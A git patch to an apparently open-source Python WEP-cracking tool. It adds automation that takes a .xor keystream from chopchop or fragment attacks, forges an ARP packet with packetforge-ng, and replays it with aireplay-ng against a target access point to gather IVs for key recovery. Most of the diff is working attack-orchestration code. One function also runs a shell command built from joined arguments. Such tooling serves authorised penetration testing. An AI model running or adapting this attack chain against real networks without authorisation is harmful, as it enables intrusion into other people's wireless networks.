From 096dfeaa5092e579528a9badf8c62c47c5c0c9c3 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 6 Jun 2015 10:47:20 -0700 Subject: [PATCH] Packetforge and arpreplay for chopchop/fragment attacks Confirmed chopchop forges packet and replays as expected. --- py/Aireplay.py | 100 +++++++++++++++++++++++++++++++++++++------- py/AttackWEP.py | 56 ++++++++++++++++++------- py/Configuration.py | 2 +- py/Process.py | 10 ++--- 4 files changed, 132 insertions(+), 36 deletions(-) diff --git a/py/Aireplay.py b/py/Aireplay.py index 2d33fbf..2a1db44 100644 --- a/py/Aireplay.py +++ b/py/Aireplay.py @@ -3,15 +3,18 @@ from Configuration import Configuration from Process import Process +import os + class WEPAttackType(object): ''' Enumeration of different WEP attack types ''' - fakeauth = 0 - replay = 1 - chopchop = 2 - fragment = 3 - caffelatte = 4 - p0841 = 5 - hirte = 6 + fakeauth = 0 + replay = 1 + chopchop = 2 + fragment = 3 + caffelatte = 4 + p0841 = 5 + hirte = 6 + forgedreplay = 7 def __init__(self, var): ''' @@ -49,7 +52,7 @@ class WEPAttackType(object): class Aireplay(object): - def __init__(self, target, attack_type, client_mac=None): + def __init__(self, target, attack_type, client_mac=None, replay_file=None): ''' Starts aireplay process. Args: @@ -57,8 +60,24 @@ class Aireplay(object): attack_type - int, str, or WEPAttackType instance. client_mac - MAC address of an associated client. ''' - cmd = Aireplay.get_aireplay_command(target, attack_type, client_mac) - self.pid = Process(cmd, devnull=False) + cmd = Aireplay.get_aireplay_command(target, + attack_type, + client_mac=client_mac, + replay_file=replay_file) + + # TODO: set 'stdout' when creating process to store output to file. + # AttackWEP will read file to get status of attack. + # E.g., chopchop will regex "(\d+)% done" to get percent complete. + ''' + from subprocess import PIPE + sout = PIPE + if '--chopchop' in cmd: + sout = open(Configuration.temp('chopchop'), 'w') + ''' + + self.pid = Process(cmd, + devnull=False, + cwd=Configuration.temp()) def is_running(self): return self.pid.poll() == None @@ -73,13 +92,15 @@ class Aireplay(object): return self.pid.stdout() @staticmethod - def get_aireplay_command(target, attack_type, client_mac=None): + def get_aireplay_command(target, attack_type, + client_mac=None, replay_file=None): ''' Generates aireplay command based on target and attack type Args: - target - Instance of Target object, AP to attack. + target - Instance of Target object, AP to attack. attack_type - int, str, or WEPAttackType instance. - client_mac - MAC address of an associated client. + client_mac - MAC address of an associated client. + replay_file - .Cap file to replay via --arpreplay ''' # Interface is required at this point @@ -156,17 +177,60 @@ class Aireplay(object): raise Exception("Client is required for hirte attack") cmd.append('--cfrag') cmd.extend(['-h', client_mac]) + elif attack_type == WEPAttackType.forgedreplay: + if client_mac == None or replay_file == None: + raise Exception( + "Client_mac and Replay_File are required for arp replay") + cmd.append('--arpreplay') + cmd.extend(['-b', target.bssid]) + cmd.extend(['-r', replay_file]) + cmd.extend(['-F']) # Automatically choose first packet + cmd.extend(['-x', str(Configuration.wep_pps)]) else: raise Exception("Unexpected attack type: %s" % attack_type) cmd.append(Configuration.interface) return cmd + @staticmethod + def get_xor(): + ''' Finds the last .xor file in the directory ''' + xor = None + for fil in os.listdir(Configuration.temp()): + if fil.startswith('replay_') and fil.endswith('.xor'): + xor = fil + return xor + + @staticmethod + def forge_packet(xor_file, bssid, station_mac): + ''' Forges packet from .xor file ''' + forged_file = 'forged.cap' + cmd = [ + 'packetforge-ng', + '-0', + '-a', bssid, # Target MAC + '-h', station_mac, # Client MAC + '-k', '192.168.1.2', # Dest IP + '-l', '192.168.1.100', # Source IP + '-y', xor_file, # Read PRNG from .xor file + '-w', forged_file, # Write to + Configuration.interface + ] + + cmd = '"%s"' % '" "'.join(cmd) + (out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True) + if out.strip() == 'Wrote packet to: %s' % forged_file: + return forged_file + else: + from Color import Color + Color.pl('{!} {R}failed to forge packet from .xor file{W}') + Color.pl('output:\n"%s"' % out) + return None + if __name__ == '__main__': t = WEPAttackType(4) - print t.name, type(t.name), t.value - + print t.name, type(t.name), t.value t = WEPAttackType('caffelatte') print t.name, type(t.name), t.value @@ -188,3 +252,9 @@ if __name__ == '__main__': print aireplay.get_output() ''' + ''' + forge = Aireplay.forge_packet('/tmp/replay_dec-0605-060243.xor', \ + 'A4:2B:8C:16:6B:3A', \ + '00:C0:CA:4E:CA:E0') + print forge + ''' diff --git a/py/AttackWEP.py b/py/AttackWEP.py index 38a9c93..d3fd170 100644 --- a/py/AttackWEP.py +++ b/py/AttackWEP.py @@ -47,7 +47,7 @@ class AttackWEP(Attack): # There are no associated clients. Warn user. Color.pl('{!} {O}there are no associated clients{W}') Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' + - ' without fake-authentication or associated clients{W}') + ' without fake-authentication or associated clients{W}') client_mac = None else: client_mac = airodump_target.clients[0].station @@ -58,10 +58,12 @@ class AttackWEP(Attack): # Convert to WEPAttackType. wep_attack_type = WEPAttackType(attack_name) + replay_file = None # Start Aireplay process. aireplay = Aireplay(self.target, \ wep_attack_type, \ - client_mac=client_mac) + client_mac=client_mac, \ + replay_file=replay_file) time_unchanged_ivs = time.time() # Timestamp when IVs last changed previous_ivs = 0 @@ -126,30 +128,54 @@ class AttackWEP(Attack): if not aireplay.is_running(): # Some Aireplay attacks loop infinitely if attack_name == 'chopchop' or attack_name == 'fragment': - # We expect these to stop once a .xor is created + # We expect these to stop once a .xor is created, # or if the process failed. - # TODO: Check for .xor file. - # If .xor is not there, the process failed. Check stdout. - # XXX: For debugging - Color.pl('\n%s stopped, output:' % attack_name) - Color.pl(aireplay.get_output()) - continue # Continue to other attacks + replay_file = None - # TODO: If .xor exists, run packetforge-ng to create .cap - # If packetforge created the replay .cap file, - # 1. Change attack_name to 'forged arp replay' - # 2. Start Aireplay to replay the .cap file + # Check for .xor file. + xor_file = Aireplay.get_xor() + if not xor_file: + # If .xor is not there, the process failed. + Color.pl('\n{!} {O}%s attack{R} did not generate' + + ' a .xor file{W}' % attack_name) + # XXX: For debugging + Color.pl('\noutput:\n') + Color.pl(aireplay.get_output()) + Color.pl('') + break + + # If .xor exists, run packetforge-ng to create .cap + Color.pl('\n{+} {C}%s attack{W}' % attack_name + + ' generated a {C}.xor file{W}, {G}forging...{W}') + forge_file = Aireplay.forge_packet(xor_file, + airodump_target.bssid, + client_mac) + if forge_file: + replay_file = forge_file + Color.pl('{+} {C}forged packet{W},' + + ' {G}replaying...{W}') + attack_name = 'forged arp replay' + aireplay = Aireplay(self.target, \ + 'forgedreplay', \ + client_mac=client_mac, \ + replay_file=replay_file) + continue + else: + # Failed to forge packet. drop out + break else: Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}') Color.pl('\naireplay.get_output():') Color.pl(aireplay.get_output()) - continue # Continue to other attacks + break # Continue to other attacks # Check if IVs stopped flowing (same for > N seconds) if airodump_target.ivs > previous_ivs: time_unchanged_ivs = time.time() - elif Configuration.wep_restart_stale_ivs > 0: + elif Configuration.wep_restart_stale_ivs > 0 and \ + attack_name != 'chopchop' and \ + attack_name != 'fragment': stale_seconds = time.time() - time_unchanged_ivs if stale_seconds > Configuration.wep_restart_stale_ivs: # No new IVs within threshold, restart aireplay diff --git a/py/Configuration.py b/py/Configuration.py index 08a38f2..b903c05 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -126,7 +126,7 @@ class Configuration(object): Configuration.wep_timeout = args.wep_timeout Color.pl('{+} {C}option:{W} WEP attack timeout set to {G}%d seconds{W}' % args.wep_timeout) if args.require_fakeauth: - Configuration.require_fakeauth = False + Configuration.require_fakeauth = True Color.pl('{+} {C}option:{W} fake-authentication is {G}required{W} for WEP attacks') if args.wep_crack_at_ivs: Configuration.wep_crack_at_ivs = args.wep_crack_at_ivs diff --git a/py/Process.py b/py/Process.py index 30bb8ec..ec92cbd 100644 --- a/py/Process.py +++ b/py/Process.py @@ -12,17 +12,17 @@ class Process(object): return open('/dev/null', 'w') @staticmethod - def call(command): + def call(command, cwd=None,shell=False): ''' Calls a command (either string or list of args). Returns tuple: (stdout, stderr) ''' - if type(command) != str or ' ' in command: + if type(command) != str or ' ' in command or shell: shell = True else: shell = False - pid = Popen(command, stdout=PIPE, stderr=PIPE, shell=shell) + pid = Popen(command, cwd=cwd, stdout=PIPE, stderr=PIPE, shell=shell) pid.wait() return pid.communicate() @@ -35,7 +35,7 @@ class Process(object): return True - def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE): + def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None): ''' Starts executing command ''' if type(command) == str: @@ -55,7 +55,7 @@ class Process(object): self.start_time = time.time() - self.pid = Popen(command, stdout=sout, stderr=serr) + self.pid = Popen(command, stdout=sout, stderr=serr, cwd=cwd) def __del__(self): '''